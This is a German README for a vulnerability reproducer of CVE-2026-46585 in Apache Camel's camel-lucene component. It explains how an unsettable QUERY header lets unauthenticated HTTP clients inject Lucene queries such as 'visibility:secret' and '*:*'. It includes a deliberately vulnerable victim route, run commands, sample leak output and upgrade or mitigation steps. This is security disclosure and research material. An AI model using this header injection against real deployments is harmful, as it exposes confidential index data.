
Reproducer für CVE-2026-46585: Apache Camel camel-lucene QUERY-Header-Injection, die Autorisierungs-Bypass / Exfiltration von Indexdaten ermöglicht (behoben in 4.14.8/4.18.3/4.21.0)
QUERY-Header-Injection-Reproducer (CVE-2026-46585)Dieses Projekt demonstriert eine Message-Header-Injection / Autorisierungsumgehung in der camel-lucene-Komponente
von Apache Camel, die als CVE-2026-46585 verfolgt wird. Der Lucene-Query-Producer liest die Volltextsuchphrase aus einem
Exchange-Header, wobei der Name des Headers der einfache String QUERY war (sowie RETURN_LUCENE_DOCS für das
Docs-Flag). Da diese Namen nicht mit dem Präfix Camel / camel beginnen, ließ HttpHeaderFilterStrategy — das an der
HTTP-Grenze nur den Camel-Header-Namespace blockiert — sie von einer eingehenden HTTP-Anfrage direkt in die Exchange
durch. Jeder HTTP-Client, der eine Route trifft, die einen Lucene-Query hinter einem HTTP-Consumer exponiert, kann daher den
QUERY-Header setzen und dessen Wert gegen den Index ausführen lassen, .
Dieser PoC demonstriert die Auswirkung als Autorisierungsumgehung / Datencxfiltration: Ein nicht authentifizierter Client injiziert rohe Lucene-Query-Syntax, um ein Dokument zu lesen, das der öffentliche Such-Endpoint nie zurückgeben sollte (und eine Match-All-Query gibt den gesamten Index aus).
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-lucene |
| Betroffene Klasse | org.apache.camel.component.lucene.LuceneQueryProducer, die LuceneConstants.HEADER_QUERY (Wert "QUERY") liest |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) / CWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel) |
| Auswirkung | Ein HTTP-Client setzt den QUERY-Header → beliebiger Lucene-Query wird ausgeführt → Lesen von Dokumenten außerhalb des vorgesehenen Bereichs oder CPU-intensive Regex-Queries |
| Voraussetzungen | Eine Route exponiert einen lucene:...:query-Producer hinter einem HTTP-Consumer (z. B. platform-http); nicht authentifiziert, wenn der Consumer es ist |
| Betroffene Versionen | Von 4.0.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Credit | Andrea Cosentino (Apache Software Foundation) und Yu Bao (PayPal) |
Gleiche Header-Injection-Familie wie CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 und CVE-2026-46457, und teilt die Nicht-
Camel-präfixierte Header-Konstanten-Ursache mit dem camel-elasticsearch-GegenstückSEARCH_QUERY.
// LuceneConstants (betroffen 4.18.2) — der Headername ist das nackte Wort "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (betroffen 4.18.2) — die Phrase kommt direkt aus diesem Header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // angreiferkontrolliert
}
LuceneSearcher parst die Phrase mit einem klassischen QueryParser("contents", analyzer), sodass der Angreifer die volle
Lucene-Query-Syntax erhält: Feld-Terme (visibility:secret), Match-All (*:*), Wildcards und teure reguläre
Ausdrücke.
Der Fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) benennt die Werte der Header gemäß der Camel-Konvention um —
HEADER_QUERY von QUERY zu CamelLuceneQuery und HEADER_RETURN_LUCENE_DOCS zu
CamelLuceneReturnLuceneDocs — sodass sie an der HTTP-Grenze wie jeder andere Camel-Kontroll-Header gefiltert werden.
Die Namen der Konstantenfelder bleiben unverändert (Routen, die LuceneConstants.HEADER_QUERY referenzieren, funktionieren
weiter); es ist nur eine brechende Änderung für Routen, die diese Header über ihren rohen Stringwert setzen/lesen.
from("platform-http:/search")
.removeHeaders("Camel*") // dokumentierte Härtung — siehe unten
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
Das Sicherheitsmodell des Routenautors ist „dieser Endpoint dient nur öffentlicher Suche“. Als dokumentierte Härtung
entfernt die Route sogar den Camel-Kontroll-Header-Namespace am Rand mit removeHeaders("Camel*"). Das hilft nicht:
Der Kontroll-Header heißt QUERY, nicht CamelLuceneQuery, wird also weder durch diesen Aufruf noch durch den eingebauten
HTTP-Header-Filter entfernt — was genau der Punkt der CVE ist (und genau das, was die Umbenennung durch den Fix adressiert).
Der Index enthält drei öffentliche Dokumente plus ein geheimes Dokument mit dem Tag visibility:secret, dessen Body einen
harmlosen Flag-Marker trägt. Eine normale öffentliche Suche (QUERY=onboarding, ein einfacher Term gegen das
Standardfeld contents) gibt es nie zurück; eine injizierte Feld-Query schon.
Der Opfer ist die Camel-Suchroute und ihr Index; der Angreifer ist ein nicht authentifizierter HTTP-Client, der nur einen Anfrage-Header setzt. Alles läuft in einer einzigen eigenständigen App.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # einzelner eigenständiger Dienst
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registriert das Indexverzeichnis als Camel-Bean (#kbIndexDir)
│ ├── IndexBootstrap.java # erstellt den Lucene-Index: 3 öffentliche Docs + 1 geheimes Doc (das Flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # Angreifer: GET /search mit injiziertem QUERY-Header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
Die legitime Terms-Suche gibt nur öffentliche Dokumente zurück. Die Angriffsanfrage — die sich nur durch den Wert eines einzigen Headers unterscheidet, den das Framework hätte filtern sollen — liest das geheime Dokument, und eine Match-All-Query gibt den gesamten Index zurück.
Jede Route mit einem lucene:...:query-Producer, der von einem HTTP-Consumer erreichbar ist. Über das Lesen ungewollter
Dokumente hinaus kann der Angreifer:
*:* oder ein anderes Feld-Prädikat ersetzen
(Autorisierungsumgehung).Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). Nach dem Upgrade müssen Routen, die den Query über den rohen
Headernamen setzen, CamelLuceneQuery (und CamelLuceneReturnLuceneDocs) anstelle von QUERY /
RETURN_LUCENE_DOCS verwenden; diese Camel-namespaced Namen werden an der HTTP-Grenze wie jeder andere Kontroll-Header
gefiltert.
Bis zum Upgrade:
.removeHeader("QUERY") und .removeHeader("RETURN_LUCENE_DOCS"), dann
.setHeader("QUERY", constant(...)) (oder auf Basis validierter Eingabe) am Anfang der Route.Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.